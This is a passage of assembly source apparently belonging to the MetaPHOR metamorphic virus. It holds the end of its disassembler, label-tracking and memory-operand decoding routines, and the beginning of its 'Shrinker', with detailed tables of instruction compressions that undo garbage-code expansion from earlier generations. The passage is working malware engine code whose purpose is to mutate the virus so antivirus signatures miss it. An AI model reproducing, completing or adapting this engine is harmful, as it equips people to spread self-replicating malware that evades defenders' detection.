                mov     ecx, eax
                pop     eax
                cmp     ecx, 0EBh       ; Check if it's a short JMP
                jz    @@Add2ToEIP       ; If it is, increase the EIP only by 2
                add     esi, 3
        @@Add2ToEIP:
                add     esi, 2

                call    InsertLabel     ; Insert the label

                mov     [edi+1-10h], edx ; Set the label in the instruction

;; When we arrive here we scan for a label that isn't disassembled yet, We
;; check if we disassembled the pointing code while we didn't arrive here.
;; If the code is already disassembled, we set the label and we check other
;; pointers until we found one that it isn't scanned. If all them are alredy
;; disassembled, we finish because all the reachable code is disassembled.
   @@GetEIPFromFutureLabelList:
                mov     ecx, [ebp+NumberOfLabelsPost]
                or      ecx, ecx        ; If there aren't labels, exit
                jz    @@FinDeTraduccion
                mov     ebx, [ebp+FutureLabelTable]
       @@LoopCheckForNewEIP:
                mov     eax, [ebx]      ; Get a label
                or      eax, eax        ; Is it empty?
                jnz   @@GetNewEIP       ; If not, we found one
                add     ebx, 8          ; Check next
                sub     ecx, 1
                or      ecx, ecx        ; Have we scanned all them?
                jnz   @@LoopCheckForNewEIP
                jmp   @@FinDeTraduccion ; If so, exit from disassembler

       @@GetNewEIP:
                mov     esi, [ebx]
                jmp   @@LoopTrace


;;; Instructions beginning with 0F
     @@Opcode0F:
                mov     eax, [esi+1]  ; Get the second opcode
                and     eax, 0FFh
                cmp     eax, 80h      ; Long Jcc?
                jb    @@Op0F_Next00
                cmp     eax, 8Fh
                jbe   @@Jcc32         ; If so, jump
       @@Op0F_Next00:
                cmp     eax, 0B6h     ; MOVZX?
                jz    @@Op0F_MOVZX
;                 cmp     eax, 0BEh
;                 jz    @@Op0F_MOVSX

                add     esi, 2        ; Add two to the EIP and continue
                jmp   @@SigueInstr

;; I decided to make MOVSX instruction using direct checking and
;; sign extension, because this instruction have little variation when
;; recoding (or it is too much long). Anyway, I left the code (commented)
;; because maybe I decide to put it again, to disassemble whatever code I
;; want to pass to this routine, for example (and not only a semi-controlled
;; code as the engine is).
       @@Op0F_MOVZX:
                mov     eax, 0F8h     ; Set the pseudoopcode F8
;                 jmp   @@Op0F_MOVxX
;        @@Op0F_MOVSX:
;                 mov     eax, 0FAh
;        @@Op0F_MOVxX:
                mov     [edi], eax
                mov     eax, [esi+2]  ; Get the destiny register
                and     eax, 38h
                shr     eax, 3
                mov     [edi+7], eax  ; Set it in the instruction
;                 mov     eax, [esi+2]
;                 and     eax, 0C0h
;                 cmp     eax, 0C0h
;                 jz    @@Op0F_MOVxX_RegReg8
;                 mov     eax, [edi]
;                 add     eax, 1
;                 mov     [edi], al
                mov     edx, esi      ; Decode the referenced memory address
                add     edx, 2
                call    DecodeMemoryConstruction
                add     esi, ebx
                add     esi, 2
                jmp   @@NextInstruction
;        @@Op0F_MOVxX_RegReg8:
;                 mov     eax, [esi+2]
;                 and     eax, 7
;                 mov     [edi+1], eax
;                 add     esi, 3
;                 jmp   @@NextInstruction


;; For the translation of Jcc (both 8 bits and 32 bits) and CALLs:
;;
;;  - If the code exists, translate the destiny address of the point into a
;;   label in the label table, and complete the instruction with that label.
;;   If the label already exists, use the already existent label, of course.
;;
;;  - If the code doesn't exist, we put a reference to this instruction in
;;   the "future label table", together with a reference to the code it's
;;   trying to access. Later, when that referenced code is disassembled,
;;   the instruction (Jcc, CALL, etc.) will be completed.

;;; Conditional 32-bit jump (Jx, JNx)
     @@Jcc32:   mov     eax, [esi+2]  ; Get the destiny address in EAX
                add     eax, esi
                add     eax, 6
                jmp   @@ContinueWithBranchInstr

;;; CALL
     @@CALL:    mov     eax, [esi+1]  ; Get the destiny address in EAX
                add     eax, esi
                add     eax, 5
                jmp   @@ContinueWithBranchInstr


;;; Conditional 8-bits jump (Jx, JNx)

     @@Jcc:     mov     eax, [esi+1] ; Get the destiny address in EAX
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@Jcc_01
                add     eax, 0FFFFFF00h
          @@Jcc_01:
                add     eax, esi
                add     eax, 2

     @@ContinueWithBranchInstr:
                mov     ecx, eax              ; Put the destiny addr. in ECX
                call    SetInFutureLabelList  ; Mark the label and get the
                push    eax                   ; label table entry in EAX
                mov     eax, [esi]
                and     eax, 0FFh    ; Get the opcode
                cmp     eax, 0Fh     ; 0F? (i.e. long Jcc)
                jz    @@Jcc_Jcc32

                ;mov     [edi], al
                cmp     eax, 0E8h    ; CALL?
                jz    @@Jcc_AddEIP5  ; Then add 5 to EIP. If not, add 2.
                jmp   @@Jcc_AddEIP2

   @@Jcc_Jcc32:
                mov     eax, [esi+1] ; Get the conditional jump
                and     eax, 0FFh
                sub     eax, 10h     ; Transform it to pseudoopcode

    @@Jcc_AddEIP6:
                inc     esi
    @@Jcc_AddEIP5:
                add     esi, 3
    @@Jcc_AddEIP2:
                add     esi, 2       ; Increase the EIP
                mov     edx, [edi]   ; Set the pseudoopcode in EAX
                and     edx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, edx
                mov     [edi], eax

                pop     eax
                or      eax, eax     ; Restore the label table entry pointer.
                jz    @@NextInstruction ; If it's 0, is because it wasn't
                                        ; scanned, so go for next instruction.

                call    InsertLabel  ; Insert the label if the EIP was already
                mov     [edi+1], edx ; disassembled, and insert it in the
                jmp   @@NextInstruction ; instruction, completing it.

     @@FinDeTraduccion:   ; Return!
                ret
DisasmCode      endp


;; This function is constructed to save lines of code, because this same
;; method was called from several points.
GenOp_SetRegReg proc
                push    edx
                mov     edx, [edi]
                and     edx, 0FFFFFF00h
                mov     eax, [esi]  ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 3Fh    ; Check the instruction. If it's <= 3F,
                jbe   @@SRR_01      ; set the same opcode + 1
                cmp     eax, 85h    ; TEST?
                jbe   @@SRR_02
;                cmp     eax, 87h    ; XCHG?
;                jbe   @@SRR_03
                cmp     eax, 8Bh    ; MOV?
                jbe   @@SRR_04
     @@SRR_01:  and     eax, 38h    ; Set the OP Reg,Reg
                add     eax, 1
     @@SRR_Store:
                add     eax, edx
                mov     [edi], eax  ; Store the opcode
                pop     edx
                ret                 ; Return
     @@SRR_02:  mov     eax, 48h+1  ; Pseudoopcode of TEST Reg,Reg
                jmp   @@SRR_Store
 ;    @@SRR_03:  mov     eax, 48h+5
 ;               jmp   @@SRR_Store
     @@SRR_04:  mov     eax, 40h+1  ; Pseudoopcode of MOV Reg,Reg
                jmp   @@SRR_Store
GenOp_SetRegReg endp

;; Function to insert a label from a Jcc or a CALL to future disassembly. If
;; the label is already disassembled, it returns EAX != 0, being EAX the
;; code referenced. If it's not disassembled, we store the label in the table
;; and we'll check for it everytime a leaf of the execution tree is finished.

SetInFutureLabelList proc
                mov     ebx, [ebp+InstructionTable] ; Get the instructions
                cmp     ebx, edi         ; Are we at the end already?
                jz    @@SetFutureLabel   ; If so, we didn't find that, so
      @@LoopCheckLabelForJcc:            ;  insert the label.
                cmp     [ebx+0Ch], eax
                jz    @@Jcc_CodeDefined  ; If the code is disassembled, return
                add     ebx, 10h
                cmp     ebx, edi         ; Get next instruction
                jnz   @@LoopCheckLabelForJcc
      @@SetFutureLabel:                  ; We didn't find it!
                mov     edx, [ebp+NumberOfLabelsPost]
                shl     edx, 3
                add     edx, [ebp+FutureLabelTable]
                mov     [edx], eax       ; Store the instruction and the
                mov     [edx+4], edi     ;  referenced destiny address.
                mov     eax, [ebp+NumberOfLabelsPost]
                add     eax, 1                        ; Increase the number
                mov     [ebp+NumberOfLabelsPost], eax ; of labels.
                xor     eax, eax               ; Return 0
      @@Jcc_CodeDefined:
                ret
SetInFutureLabelList endp

;; Function InsertLabel
;; Simply inserts the address passed into the definitive label list.
;;
;; Params:
;; EAX = Destination address of jump (or call, etc.)
;; EBX = Instruction in list (dissasembled) where EAX points to
;; Returns:
;;     ECX undefined
;;     EDX = Address in the list where the label has been stored (formerly
;;           the type of label we'll use in the instructions).
InsertLabel     proc
                mov     edx, [ebp+LabelTable]  ; Get the table
                mov     ecx, [ebp+NumberOfLabels]
                or      ecx, ecx               ; Check if there's any
                jz    @@Jcc_InsertaEtiqueta    ; If not, insert at first pos.
      @@Jcc_LoopEtiqueta:
                cmp     [edx], eax            ; Check if it exists already
                jz    @@Jcc_EtiquetaYaPuesta  ; If it exists, return the ptr
                add     edx, 8
                dec     ecx                   ; Check next
                or      ecx, ecx
                jnz   @@Jcc_LoopEtiqueta
      @@Jcc_InsertaEtiqueta:            ; We didn't find the address, so let's
                mov     [edx], eax      ; insert the new label and return the
                mov     [edx+4], ebx    ; pointer
                push    eax
                mov     eax, [ebx+0Bh]  ; Set the label mark in the instruction
                and     eax, 0FFFFFF00h ; we are referencing
                add     eax, 1
                mov     [ebx+0Bh], eax
                mov     eax, [ebp+NumberOfLabels] ; Increase the counter of
                add     eax, 1                    ; labels stored in the table
                mov     [ebp+NumberOfLabels], eax
                pop     eax             ; Return the label pointer address
      @@Jcc_EtiquetaYaPuesta:
                ret
InsertLabel     endp

;; This function scans the "future labels table" and looks if every entry in
;; the table is pointing to the current EIP. If it is, it inserts a label in
;; the "definitive label table", completes the referenced instruction and
;; continues the check until all the temporary labels that points to that code
;; are released.
ReleaseFutureLabels proc
                mov     ecx, [ebp+NumberOfLabelsPost] ; Check the number
                or      ecx, ecx
                jz    @@SigueInstr                    ; If it's 0, return
                mov     ebx, [ebp+FutureLabelTable]
      @@LoopCheckFutureLabel:
                cmp     [ebx], esi        ; Check if the current EIP is in the
                jz    @@FutureLabelFound  ; table. If it is, release it.
      @@OtraEtiquetaFutura:
                add     ebx, 8        ; Get the next
                dec     ecx
                or      ecx, ecx      ; If there are more, loop
                jnz   @@LoopCheckFutureLabel
      @@SigueInstr:
                ret
      @@FutureLabelFound:
                push    ecx

                push    ebx           ; Insert a label into the current EIP
                mov     eax, esi
                mov     ebx, edi
                call    InsertLabel
                pop     ebx           ; Returns EDX = label entry

                mov     eax, [ebx+4]  ; Get the address of the instruction to
                mov     [eax+1], edx  ; complete and complete it.
                xor     ecx, ecx
                mov     [ebx], ecx    ; Eliminate the buffered label
                pop     ecx
                jmp   @@OtraEtiquetaFutura ; Jump to get another
ReleaseFutureLabels endp

;; This function decodes a memory reference in an opcode which is pointed by
;; EDX. Since the struct we use for memory codifications is common for all
;; the instructions of the pseudoassembler, the decodification of the memory
;; reference opcodes and fields are equal for all them.
;;
;; EDX = Address to get opcodes from.
;; We must ensure that it's a memory construction.
;; Returns EBX = Length of the memory reference opcodes (opcodes and addition)
DecodeMemoryConstruction proc
                mov     eax, 00000808h ; Initialize the memory structure
                mov     [edi+1], eax
                xor     eax, eax
                mov     [edi+3], eax
                mov     ebx, 1         ; Set a length of 1 (at least this
                                       ; opcode)

                mov     eax, [edx]     ; Get the opcode
                and     eax, 7         ; Special opcode?
                cmp     eax, 4
                jz    @@ThirdOpcodeUsed ; If so, a third opcode is used
                cmp     eax, 5         ; Direct memory address?
                jz    @@DirectMemory   ; Jump, then

      @@SetBaseRegister:
                mov     eax, [edx]     ; Get the base index
                and     eax, 7
                push    edx
                mov     edx, [edi+1]   ; Set it
                and     edx, 0FFFFFF00h
                add     eax, edx
                pop     edx
                mov     [edi+1], eax
                mov     eax, [edx]     ; Get the type of addition:
                and     eax, 0C0h
                or      eax, eax       ; No addition?
                jz    @@NoAddition
                cmp     eax, 40h       ; Byte (with sign extension)?
                jz    @@ByteAddition
      @@DwordAddition:
                add     ebx, 4         ; Set dword addition (length of 4)
                mov     eax, [edx+1]   ; Get the addition and set it in the
                jmp   @@SetAddition    ;  pseudoassembler instruction
      @@ByteAddition:
                add     ebx, 1         ; Set a byte addition (length of 1)
                mov     eax, [edx+1]   ; Get the addition
                and     eax, 0FFh      ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@SetAddition
                add     eax, 0FFFFFF00h
      @@SetAddition:
                mov     [edi+3], eax   ; Set the addition value in the instr.
      @@NoAddition:
                ret                    ; Return

      @@DirectMemory:
                mov     eax, [edx]     ; Get the DWORD of the address
                and     eax, 0C0h
                or      eax, eax        ; Check if it's EBP
                jnz   @@SetBaseRegister ; If it's EBP, jump to decode it
                jmp   @@DwordAddition   ; If not, set the addition as a direct
                                        ; memory address

      ;; Here if we use a third opcode
      @@ThirdOpcodeUsed:
                add     ebx, 1          ; Add one more byte to the length
                mov     eax, [edx+1]    ; Get the third opcode
                and     eax, 38h        ; Check the middle index
                shr     eax, 3
                cmp     eax, 4          ; If it's ESP then we use only one
                jz    @@IgnoreScalarRegister
                mov     ecx, eax        ; Get the multiplicator (or scalar)
                mov     eax, [edx+1]    ; from the bits 7&6 of the third
                and     eax, 0C0h       ; opcode, and after that set the
                or      eax, ecx        ; register into the pseudoassembler
                push    edx             ; instruction
                mov     edx, [edi+2]
                and     edx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, edx
                pop     edx
                mov     [edi+2], eax
      @@IgnoreScalarRegister:
                mov     eax, [edx]      ; Get the second opcode
                and     eax, 0C0h       ; Are we adding something?
                or      eax, eax        ; If we don't, EBP in the low bits of
                jz    @@EBPMeansDwordAddition ; the third opcode means DWORD
                mov     eax, [edx+1]                              ; addition
                and     eax, 7          ; Get the low index at 3rd
                push    edx
                mov     edx, [edi+1]    ; Set the index at first position
                and     edx, 0FFFFFF00h ; in the memory struct
                add     eax, edx
                pop     edx
                mov     [edi+1], eax
                mov     eax, [edx]      ; Get the addition from the 2nd opcode
                and     eax, 0C0h
                cmp     eax, 40h
                jz    @@ByteAddition2   ; Byte addition (sign extended)?
      @@DwordAddition2:
                add     ebx, 4          ; Add the DWORD addition length, get 
                mov     eax, [edx+2]    ; the addition DWORD and jump.
                jmp   @@SetAddition2
      @@ByteAddition2:
                add     ebx, 1          ; Set BYTE addition length, get the 
                mov     eax, [edx+2]    ; addition BYTE, extend the sign of 
                and     eax, 0FFh       ; it and store it
                cmp     eax, 7Fh
                jbe   @@SetAddition2
                add     eax, 0FFFFFF00h
      @@SetAddition2:
                mov     [edi+3], eax    ; Store the addition and return
                ret

      @@EBPMeansDwordAddition:
                mov     eax, [edx+1]    ; Get the low register at 3rd opcode
                and     eax, 7
                cmp     eax, 5          ; Check if it's EBP
                jz    @@DwordAddition2  ; If it isn't, jump to decode only the
                push    edx             ; addition (EBP is a special case in
                mov     edx, [edi+1]    ; this case)
                and     edx, 0FFFFFF00h
                add     eax, edx        ; If not, set the index register at
                pop     edx             ; the first slot of the index position
                mov     [edi+1], eax    ; in the memory reference structure
                ret                     ; and return.
DecodeMemoryConstruction endp
;;
;;
;; End of the disassembler
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Shrinker
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The Shrinker
;; ------------
;;
;; Required parameters:
;; [InstructionTable] = Pointer to first instruction in instruction table
;; [AddressOfLastInstruction] = The limit of the disassembly
;;
;; This function will eliminate all the obfuscation done by the expander in
;; previous generations. The compression is made by single instructions, pairs
;; or triplets. The work is performed in the pseudo-ASM the disassembler
;; generated, so the modifications are easier.
;;
;; The single, pairs and triplets scanned are the following (extracted from
;; the article I wrote about this engine):
;;
;; ---------------------------------------------------------------------------
;;
;;  Legend:
;;  Reg: A register
;;  Mem: A memory address
;;  Imm: Immediate
;;
;;  When in an instruction is Reg,Reg or something like that, both are the
;;  same register. If they are different, I write it as Reg,Reg2 (for example).
;;
;;  Transformations over single instructions:
;;
;;   XOR Reg,-1               --> NOT Reg
;;   XOR Mem,-1               --> NOT Mem
;;   MOV Reg,Reg              --> NOP
;;   SUB Reg,Imm              --> ADD Reg,-Imm
;;   SUB Mem,Imm              --> ADD Mem,-Imm
;;   XOR Reg,0                --> MOV Reg,0
;;   XOR Mem,0                --> MOV Mem,0
;;   ADD Reg,0                --> NOP
;;   ADD Mem,0                --> NOP
;;   OR  Reg,0                --> NOP
;;   OR  Mem,0                --> NOP
;;   AND Reg,-1               --> NOP
;;   AND Mem,-1               --> NOP
;;   AND Reg,0                --> MOV Reg,0
;;   AND Mem,0                --> MOV Mem,0
;;   XOR Reg,Reg              --> MOV Reg,0
;;   SUB Reg,Reg              --> MOV Reg,0
;;   OR  Reg,Reg              --> CMP Reg,0
;;   AND Reg,Reg              --> CMP Reg,0
;;   TEST Reg,Reg             --> CMP Reg,0
;;   LEA Reg,[Imm]            --> MOV Reg,Imm
;;   LEA Reg,[Reg+Imm]        --> ADD Reg,Imm
;;   LEA Reg,[Reg2]           --> MOV Reg,Reg2
;;   LEA Reg,[Reg+Reg2]       --> ADD Reg,Reg2
;;   LEA Reg,[Reg2+Reg2+xxx]  --> LEA Reg,[2*Reg2+xxx]
;;   MOV Reg,Reg              --> NOP
;;   MOV Mem,Mem              --> NOP (result of a compression of
;;                                     PUSH Mem/POP Mem, with pseudoopcode 4F)
;;
;; The instructions that are eliminated (the ones that mean NOP) are be used
;; as garbage along the executable code. Since every NOP instruction can be
;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every
;; PUSH and POP also can be expanded, and so on) you can't know what's garbage
;; and what's not until you have compressed everything.
;;
;; The pairs of instructions that MetaPHOR can compress are:
;;
;;   PUSH Imm / POP Reg                      --> MOV Reg,Imm
;;   PUSH Imm / POP Mem                      --> MOV Mem,Imm
;;   PUSH Reg / POP Reg2                     --> MOV Reg2,Reg
;;   PUSH Reg / POP Mem                      --> MOV Mem,Reg
;;   PUSH Mem / POP Reg                      --> MOV Reg,Mem
;;   PUSH Mem / POP Mem2                     --> MOV Mem2,Mem (codificated
;;                                                with pseudoopcode 4F)
;;   MOV Mem,Reg/PUSH Mem                    --> PUSH Reg
;;   POP Mem / MOV Reg,Mem                   --> POP Reg
;;   POP Mem2 / MOV Mem,Mem2                 --> POP Mem
;;   MOV Mem,Reg / MOV Reg2,Mem              --> MOV Reg2,Reg
;;   MOV Mem,Imm / PUSH Mem                  --> PUSH Imm
;;   MOV Mem,Imm / OP Reg,Mem                --> OP Reg,Imm
;;   MOV Reg,Imm / ADD Reg,Reg2              --> LEA Reg,[Reg2+Imm]
;;   MOV Reg,Reg2 / ADD Reg,Imm              --> LEA Reg,[Reg2+Imm]
;;   MOV Reg,Reg2 / ADD Reg,Reg3             --> LEA Reg,[Reg2+Reg3]
;;   ADD Reg,Imm / ADD Reg,Reg2              --> LEA Reg,[Reg+Reg2+Imm]
;;   ADD Reg,Reg2 / ADD Reg,Imm              --> LEA Reg,[Reg+Reg2+Imm]
;;   OP Reg,Imm / OP Reg,Imm2                --> OP Reg,(Imm OP Imm2)
;;                                                (must be calculated)
;;   OP Mem,Imm / OP Mem,Imm2                --> OP Mem,(Imm OP Imm2)
;;                                                (must be calculated)
;;   LEA Reg,[Reg2+Imm] / ADD Reg,Reg3       --> LEA Reg,[Reg2+Reg3+Imm]
;;   LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm]
;;   POP Mem / PUSH Mem                      --> NOP
;;   MOV Mem2,Mem / MOV Mem3,Mem2            --> MOV Mem3,Mem
;;   MOV Mem2,Mem / OP Reg,Mem2              --> OP Reg,Mem
;;   MOV Mem2,Mem / MOV Mem2,xxx             --> MOV Mem2,xxx
;;   MOV Mem,Reg / CALL Mem                  --> CALL Reg
;;   MOV Mem,Reg / JMP Mem                   --> JMP Reg
;;   MOV Mem2,Mem / CALL Mem2                --> CALL Mem
;;   MOV Mem2,Mem / JMP Mem2                 --> JMP Mem
;;   MOV Mem,Reg / MOV Mem2,Mem              --> MOV Mem2,Reg
;;   OP Reg,xxx / MOV Reg,yyy                --> MOV Reg,yyy
;;   Jcc @xxx / !Jcc @xxx                    --> JMP @xxx (this applies to
;;                                                (Jcc & 0FEh) with (Jcc | 1)
;;   NOT Reg / NEG Reg                       --> ADD Reg,1
;;   NOT Reg / ADD Reg,1                     --> NEG Reg
;;   NOT Mem / NEG Mem                       --> ADD Mem,1
;;   NOT Mem / ADD Mem,1                     --> NEG Mem
;;   NEG Reg / NOT Reg                       --> ADD Reg,-1
;;   NEG Reg / ADD Reg,-1                    --> NOT Reg
;;   NEG Mem / NOT Mem                       --> ADD Mem,-1
;;   NEG Mem / ADD Mem,-1                    --> NOT Mem
;;   CMP X,Y / != Jcc (CMP without Jcc)      --> NOP
;;   TEST X,Y / != Jcc                       --> NOP
;;   POP Mem / JMP Mem                       --> RET
;;   PUSH Reg / RET                          --> JMP Reg
;;   CALL Mem / MOV Mem2,EAX                 --> CALL Mem / APICALL_STORE Mem2
;;   MOV Reg,Mem / CALL Reg                  --> CALL Mem
;;   XOR Reg,Reg / MOV Reg8,[Mem]            --> MOVZX Reg,byte ptr [Mem]
;;   MOV Reg,[Mem] / AND Reg,0FFh            --> MOVZX Reg,byte ptr [Mem]
;;
;;
;; Maybe there are more, but this set is sufficient, at least for our
;; proposits. What we do know is scan the code for this situations and then we
;; substitute the first instruction by their equivalent and we overwrite with
;; NOP the second, so the instructions are compressed.
;;
;; But there are more: the triplets:
;;
;;   MOV Mem,Reg
;;   OP Mem,Reg2
;;   MOV Reg,Mem                     --> OP Reg,Reg2
;;
;;   MOV Mem,Reg
;;   OP Mem,Imm
;;   MOV Reg,Mem                     --> OP Reg,Imm
;;
;;   MOV Mem,Imm
;;   OP Mem,Reg
;;   MOV Reg,Mem                     --> OP Reg,Imm (it can't be SUB)
;;
;;   MOV Mem2,Mem
;;   OP Mem2,Reg
;;   MOV Mem,Mem2                    --> OP Mem,Reg
;;
;;   MOV Mem2,Mem
;;   OP Mem2,Imm
;;   MOV Mem,Mem2                    --> OP Mem,Imm
;;
;;   CMP Reg,Reg
;;   JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx
;;   != Jcc                          --> NOP
;;
;;   CMP Reg,Reg
;;   JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx
;;   != Jcc                          --> JMP @xxx
;;
;;   MOV Mem,Imm
;;   CMP/TEST Reg,Mem
;;   Jcc @xxx                        --> CMP/TEST Reg,Imm
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   SUB/CMP Mem,Reg2
;;   Jcc @xxx                        --> CMP Reg,Reg2
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   AND/TEST Mem,Reg2
;;   Jcc @xxx                        --> TEST Reg,Reg2
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   SUB/CMP Mem,Imm
;;   Jcc @xxx                        --> CMP Reg,Imm
;;                                       Jcc @xxx
;;   MOV Mem,Reg
;;   AND/TEST Mem,Imm
;;   Jcc @xxx                        --> TEST Reg,Imm
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   CMP/TEST Reg,Mem2
;;   Jcc @xxx                        --> CMP/TEST Reg,Mem
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   AND/TEST Mem2,Reg
;;   Jcc @xxx                        --> TEST Mem,Reg
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   SUB/CMP Mem2,Reg
;;   Jcc @xxx                        --> CMP Mem,Reg
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   AND/TEST Mem2,Imm
;;   Jcc @xxx                        --> TEST Mem,Imm
;;                                       Jcc @xxx
;;   MOV Mem2,Mem
;;   SUB/CMP Mem2,Imm
;;   Jcc @xxx                        --> CMP Mem,Imm
;;                                       Jcc @xxx
;;   PUSH EAX
;;   PUSH ECX
;;   PUSH EDX                        --> APICALL_BEGIN
;;
;;   POP EDX
;;   POP ECX
;;   POP EAX                         --> APICALL_END
;;----------------------------------------------------------------------------
;;
;; ShrinkCode acts over the disassembled buffer in [InstructionTable].
;;
ShrinkCode      proc
                mov     edi, [ebp+InstructionTable]
                mov     eax, [edi]
                and     eax, 0FFh   ; Get pseudo-opcode
                call    CheckIfInstructionUsesMem ; Uses a memory address?
                or      eax, eax
                jz    @@Shrink      ; If not, continue
                call    OrderRegs   ; Order the indexes of the instruction
                                    ; from lower to upper
    @@Shrink:   mov     eax, [edi]
                and     eax, 0FFh   ; Get pseudo-op
                cmp     eax, 0FFh   ; Is it NOP?
                jz    @@IncreaseEIP ; If so, increase pointer
                call    ShrinkThisInstructions ; Check for singles, pairs or
                                               ; triplets
                or      eax, eax    ; Do we performed a compression?
                jz    @@IncreaseEIP ; If we don't, increase pointer
                call    DecreaseEIP ; Decrease the pointer three instructions
                call    DecreaseEIP ; to get a possible matching group with
                call    DecreaseEIP ; the two above.
                jmp   @@Shrink      ; Check again

    @@IncreaseEIP:
                call    IncreaseEIP                         ; Increase pointer
                cmp     edi, [ebp+AddressOfLastInstruction] ; Last instruction?
                jnz   @@Shrink                       ; If not, check next group

    @@DecreaseAddressOfLastInstruction:
                sub     edi, 10h        ; Now we eliminate the remaining NOPs
                mov     eax, [edi]      ; at the end of all the instructions.
                and     eax, 0FFh
                cmp     eax, 0FFh
                jnz   @@LastInstructionOK
                mov     [ebp+AddressOfLastInstruction], edi
                jmp   @@DecreaseAddressOfLastInstruction
    @@LastInstructionOK:

    ;; Second pass to find APICALL_BEGIN, APICALL_END and SET_WEIGHT
                mov     edi, [ebp+InstructionTable]

    @@FindAPICALL_X:
    @@GetFirstInstruction:
                call    IncreaseEIP2 ; Increase pointer
                cmp     eax, -1      ; End of instruction table?
                jz    @@EndOfScan    ; If so, finish the search

                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 50h
                jnz   @@ItsNot_SET_WEIGHT
                push    edi
                mov     esi, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 40h
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     edx, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 40h
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     ecx, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 43h
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     ebx, edi

                call    IncreaseEIP2
                or      eax, eax
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h
                jnz   @@ItsNot_SET_WEIGHT_2

                mov     eax, [esi+1]
                and     eax, 0FFh
                mov     esi, eax
                mov     eax, [edx+1]
                and     eax, 0FFh
                cmp     eax, esi
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     eax, [edi+1]
                and     eax, 0FFh
                cmp     eax, esi
                jnz   @@ItsNot_SET_WEIGHT_2
                mov     esi, [ecx+1]
                and     esi, 0FFh
                mov     eax, [ebx+7]
                and     eax, 0FFh
                cmp     eax, esi
                jnz   @@ItsNot_SET_WEIGHT_2
                pop     esi
                mov     eax, 0F7h          ; SET_WEIGHT
                mov     [esi], al
                mov     eax, [esi+1]
                mov     [esi+9], al
                mov     eax, [ebx+1]
                mov     [esi+1], eax
                mov     eax, [ebx+3]
                mov     [esi+3], eax
                mov     eax, [edx+7]
                mov     [esi+7], al
                mov     eax, [ecx+1]
                mov     [esi+8], al
                mov     eax, 0FFh
                mov     [edx], eax
                mov     [ecx], eax
                mov     [ebx], eax
                mov     [edi], eax
                jmp   @@AllOK
        @@ItsNot_SET_WEIGHT_2:
                pop     edi
        @@ItsNot_SET_WEIGHT:
        @@AllOK:


    @@CheckAPICALL_X:

                mov     edx, edi     ; Save pointer in EDX
                push    edi

    @@GetSecondInstruction:
                call    IncreaseEIP2 ; Get next
                cmp     eax, -1      ; End of code?
                jz    @@EndOfScan    ; Finish, then
                or      eax, eax     ; Label over the instruction?
                jnz   @@EndOfTriplet ; If there's label, ignore the group
                mov     esi, edi     ; Put pointer in ESI

    @@GetThirdInstruction:
                call    IncreaseEIP2 ; Do the same: increase pointer and check
                cmp     eax, -1      ; for end of code or a label over the
                jz    @@EndOfScan    ; instruction
                or      eax, eax
                jnz   @@EndOfTriplet

                mov     eax, [edx]   ; Get the first instruction
                and     eax, 0FFh
                cmp     eax, 50h     ; PUSH Reg?
                jnz   @@FindAPICALL_END ; If not, check next instruction
                mov     eax, [esi]   ; Get the second instruction
                and     eax, 0FFh
                cmp     eax, 50h     ; PUSH Reg?
                jnz   @@FindAPICALL_END ; If not, next instruction
                mov     eax, [edi]   ; Get the third instruction
                and     eax, 0FFh
                cmp     eax, 50h     ; PUSH Reg?
                jnz   @@FindAPICALL_END ; If not, next instruction
                mov     eax, [edx+1]
                and     eax, 0FFh
                or      eax, eax     ; First instruction is PUSH EAX?
                jnz   @@FindAPICALL_END ; If it isn't, it's not APICALL_*
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 1       ; Is it PUSH ECX?
                jnz   @@FindAPICALL_END ; If not, check other
                mov     eax, [edi+1]
                and     eax, 0FFh
                cmp     eax, 2       ; Is it PUSH EDX
                jnz   @@FindAPICALL_END ; If not, check other
                mov     eax, 0F4h    ; APICALL_BEGIN
      @@SetAPICALL_X:
                mov     [edx], eax   ; Set instruction
                mov     eax, 0FFh
                mov     [esi], eax   ; NOP the second and third instruction
                mov     [edi], eax
                jmp   @@EndOfTriplet ; Check next group

      @@FindAPICALL_END:
                mov     eax, [edx]   ; Get the first instruction
                and     eax, 0FFh
                cmp     eax, 58h     ; POP Reg?
                jnz   @@EndOfTriplet ; If not, next group
                mov     eax, [esi]   ; Check the second instruction
